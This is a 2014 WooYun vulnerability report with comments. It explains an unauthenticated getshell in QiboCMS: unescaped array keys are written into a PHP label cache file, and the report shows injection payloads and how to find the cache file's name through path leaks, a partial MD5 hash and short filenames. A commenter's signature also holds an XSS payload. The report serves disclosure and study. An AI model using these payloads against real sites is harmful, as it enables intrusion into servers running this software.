当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(66) 关注此漏洞

缺陷编号: WooYun-2014-70366

漏洞标题: qibocms全部开源系统 Getshell

相关厂商: 齐博CMS

漏洞作者: ′雨。认证白帽子

提交时间: 2014-07-31 10:37

公开时间: 2014-10-29 10:38

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

9人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-31: 细节已通知厂商并且等待厂商处理中
2014-08-01: 厂商已经确认,细节仅向厂商公开
2014-08-04: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-25: 细节向核心白帽子及相关领域专家公开
2014-10-05: 细节向普通白帽子公开
2014-10-15: 细节向实习白帽子公开
2014-10-29: 细节向公众公开

简要描述:

多研究研究了会 发现可以Getshell。

看了看qibo所有的开源系统 都存在这洞。

无需登录 Getshell。

之前一直在因为不能直接闭合而纠结。

找P神指点了指点 成功搞定。

用整站系统来演示一下把。
______________________________________________________________________

P.S. 狗哥 能否送我个邀请码/hx

详细说明:

全局过滤函数

code 区域
function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
@eregi("['\\\"&]+",$key) && die('ERROR KEY!');
$value=str_replace("&#x","& # x",$value); //过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}



看似修复得很完美 可是呢。



30.jpg





被匹配出



当像下图这样提交的时候 匹配的key是asd 那么就不会被匹配出 就不会被过滤。

31.jpg







在label_module.php中 这里无需登录任何

code 区域
else
{
foreach($label AS $key=>$value)
{
var_dump ($value);exit;
//如果是新标签时,即为数组array(),要清空
if(is_array($value))
{
$label[$key]='';
}
}
//写缓存
if( (time()-filemtime($FileName))>($webdb[label_cache_time]*60) ){
$_shows="<?php\r\n\$haveCache=1;\r\n";

foreach($label AS $key=>$value){
$value=addslashes($value);
$_shows.="\$label['$key']=stripslashes('$value');\r\n";
}
write_file($FileName,$_shows.'?>');
}
}





由于qibo是

code 区域
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}



所以这变量$label 可以直接控制。



然后循环出来 数组中的key 和 value 都直接写入到了缓存文件中。



这里由于value 全局的函数 会受到第一次转义 $value=addslashes($value);

这里又经过了第二次转义 那么就是a\\\'

"\$label['$key']=stripslashes('$value');\r\n"

写入时候的代码 就看有个stripslashes 其实是不会被执行的 而就是把stripslashes写入到文件当中。



这时候只有来利用key 由于在全局的过滤函数中没对key做addslashes(也不能做addslashes) 所以不会被转义 而且结合上面的 就直接绕过了。



当写入到文件中的时候是这样的。



34.jpg







36.jpg



key中直接含单引号 被匹配到然后退出了。

结合上面的方式绕过。

37.jpg





这时候写入的代码为 $label['asd'']=stripslashes('');

后面的stripslashes('') 为啥是空的了呢

如果不是空的还能利用转义符来搞。

因为我们这样提交index.php?label[asd'][asd]=asda' 这样的那么他的value是数组

code 区域
if(is_array($value))
{
$label[$key]='';
}



就清空了。

一开始我一直在纠结如果闭合之前的这个[ 我就需要提交一个yu']# 类似这样的

可是写入的是数组中的key 如果要在key中写入]的话 那么就成了

http://**.**.**.**/qibov7/index.php?label[asd']][asd]=asda'

就成了[asd']] 这样 那么提交的] 和之前[ 闭合 然后key就还是asd'

然后就一直在这纠结这个问题。。

后面问了问P神 尼玛 瞬间给我解决。



P神给的['a'."${phpinfo()}".''] 利用双引号的二次解析来Getshell

那么就让我们的key为a'."${phpinfo()}".' 这个就行了 不含]



38.jpg



测试一下能不能执行



39.jpg





竟然报错了? 这里我们用一下错误抑制符

那么也就是['a'."${@phpinfo()}".''] 提交的key为a'."${@phpinfo()}".'



40.jpg





41.jpg





成功执行。



后面我再简化了一下其实是不需要用到双引号的二次解析的

[''.phpinfo().''] 提交的key为'.phpinfo().' 依旧可以直接执行

之前的思维一直就是想着去闭合。唉。





___________________________________________________________________________



内容可以搞定了 这里我们再来看一下文件名是咋来的



code 区域
$FileName=ROOT_PATH."cache/label_cache/";
if(!is_dir($FileName)){
makepath($FileName);
}
$FileName.=(ereg("\.php",basename($WEBURL))?preg_replace("/\.php(.*)/","",basename($WEBURL)):'index')."_".intval($ch)."_".intval($ch_pagetype)."_".intval($ch_module)."_".intval($ch_fid)."_".intval($city_id).'_'.substr(md5(getTpl("index",$chdb[main_tpl])),0,5).".php";





首先目录cache/label_cache/

再来看文件名

_".intval($ch)."_".intval($ch_pagetype)."_".intval($ch_module)."_".intval($ch_fid)."_".intval($city_id).'_'.substr(md5(getTpl("index",$chdb[main_tpl])),0,5).".php"



就是经过一系列的转整 除开$ch 为1 其他的那些变量 我们都没去定义 那么intval 后为0

那么就是index_1_0_0_0_0_substr(md5(getTpl("index",$chdb[main_tpl])),0,5).php

来看一下这个 getTpl("index",$chdb[main_tpl])

这个其实就是模版地址 网站的绝对路径+默认模版地址



这里用到了网站的绝对路径 所以我们要找一个可以泄漏绝对路径的。

会泄漏绝对路径的地方很多 我随便贴两处把



http://**.**.**.**/data/label_hf.php

http://**.**.**.**//do/fontimg.php

http://**.**.**.**//hack/gather/inc/show_system_fid.php



以为本地测试为例

42.jpg





D:\ApmServ\www\htdocs\qibov7\data\label_hf.php

那么网站的绝对路径就为 D:\ApmServ\www\htdocs\qibov7

再加上默认模版路径/template/default/index.htm

那就是 D:\ApmServ\www\htdocs\qibov7/template/default/index.htm

对这个进行md5一次 得到82e4a1041f04d2edb779e87b37623786

然后他这里是substr(md5(getTpl("index",$chdb[main_tpl])),0,5)取前5位

那么就是82e4a 再拼凑起来

那么就得到 cache/label_cache/index_1_0_0_0_0_82e4a.php

43.jpg





找文件的第二种方法

在windows iis下可以利用短文件名来猜解

如果windows apache的话 那就更简单了

直接cache/label_cache/index_~1.php

44.jpg



直接就可以了。





当然 5位 也可以尝试爆破一下嘛 哈哈。





漏洞证明:

见上面把。

修复方案:

这个我也不太清楚了 你们自己好好思考思考把。



这个文件 每个开源的系统中都有。



每个都要修改。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-08-01 10:58

厂商回复:

老问题

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-31 10:39 | kimdle ( 路人 | Rank:0 漏洞数:1 | @kimdle)
    1

    关注!

  2. 2014-07-31 10:44 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)
    0

    前排膜拜..

  3. 2014-07-31 10:45 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)
    0

    楼主你悄悄的告诉我吧...

  4. 2014-07-31 10:45 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    碉堡

  5. 2014-07-31 11:21 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @roker 肉棒 你又调皮了。

  6. 2014-07-31 11:52 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    0

    有事因为补丁惹的祸?

  7. 2014-07-31 11:52 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @xfkxfk 没啦 之前就有了。

  8. 2014-07-31 12:55 | adm1n ( 普通白帽子 | Rank:216 漏洞数:66 | 只是一个渣渣而已。。。)
    0

    膜拜雨牛

  9. 2014-07-31 14:40 | chock ( 普通白帽子 | Rank:156 漏洞数:33 | 若你喜欢怪人)
    0

    看来学习代码审计很重要了

  10. 2014-08-01 10:03 | C4ndy ( 路人 | Rank:6 漏洞数:1 )
    0

    Mark 膜拜下洞主

  11. 2014-08-01 11:03 | ′king ( 实习白帽子 | Rank:40 漏洞数:8 | 马甲甲)
    0

    坐等把这老问题 出个牛逼的补丁@齐博cms

  12. 2014-08-04 13:07 | 发条橙子 ( 路人 | Rank:19 漏洞数:6 | ∑(っ °Д °;)っ)
    0

    不会又来重装下

  13. 2014-08-04 13:16 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @发条橙子 No 不需重装

  14. 2014-08-04 15:43 | 发条橙子 ( 路人 | Rank:19 漏洞数:6 | ∑(っ °Д °;)っ)
    0

    @′ 雨。 这个系统木有看过。- , -不会是缓存之类的。。把某些敏感信息写到某个文件里了。。。

  15. 2014-08-04 20:03 | 狗狗侠 认证白帽子 ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)
    0

    看了下,利用起来比较负责。。。并且后面的文件名不好控制。。。

  16. 2014-08-04 20:03 | 狗狗侠 认证白帽子 ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)
    0

    到时候还是我来放个无任何限制的getshell吧

  17. 2014-08-05 14:07 | loopx9 认证白帽子 ( 普通白帽子 | Rank:789 漏洞数:80 | ..)
    0

    @eregi("['\\\"&]+",$key) && die('ERROR KEY!'); 补丁好像是过滤了键名,注入是不是发生在这个地方。以往的确没有对键名过滤

  18. 2014-08-05 19:36 | 小小鸟 ( 路人 | Rank:8 漏洞数:6 | 小白一个)
    0

    求姿势

  19. 2014-08-23 17:35 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    那么牛逼

  20. 2014-09-10 13:42 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)
    0

    膜拜大牛

  21. 2014-09-29 01:51 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)
    0

    你这个是那个版本的? $label['a\'.\"${@phpinfo()}\".\'']=stripslashes('');

  22. 2014-09-29 01:54 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)
    0

    假冒漏洞吧?自己改内容的?

  23. 2014-09-29 08:23 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @saviour 懂gpc吗?

  24. 2014-09-29 08:25 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @saviour 别随时都假冒漏洞假冒漏洞的来 看着就恶心, 麻烦自己多思考原因。

  25. 2014-09-29 14:33 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)
    0

    如果不行的话,就别写这么恶心的标题来忽悠人了,我看过你的一些漏洞,都鸡巴好恶心人的感觉,鸡肋!

  26. 2014-09-29 15:03 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @saviour 呵呵 就你牛逼行了吧? gpc都不知道的大牛 膜拜你了

  27. 2014-09-29 15:05 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @saviour 没啥好说的 看了你的漏洞顿时觉得更膜拜了,

  28. 2014-09-29 15:23 | Tr0jan ( 路人 | Rank:7 漏洞数:3 | 关注网络安全)
    0

    @saviour 哈哈, gpc都不知道的大牛, 还能看懂别人分析代码的? 能看懂别人的洞再说话 , 对于你这种只知道用别人东西的 不知道分析还要叫唤的 我也真是被恶心到了。

  29. 2014-09-29 15:46 | ‫‌ ( 实习白帽子 | Rank:76 漏洞数:14 )
    0

    @saviour 你简直再不是个恶心人

  30. 2014-09-29 16:19 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @′ 雨。 我也是各种被说 哎 以后路人甲吧 各自发表自己的

  31. 2014-10-29 10:46 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)
    0

    @menmen519 @′ 雨。 别理就行,求别匿名,还要关注你们的洞呢

  32. 2015-03-25 23:08 | 贱son ( 路人 | Rank:6 漏洞数:3 | GE0)
    0

    @′雨。 如果上面是iis7或7.5那个。后在那几个怎么通配啊?爆破不了,上面那几个报错文件也是被设置了错误500,就是看不了绝对路径!!求方法。

登录后才能发表评论,请先 登录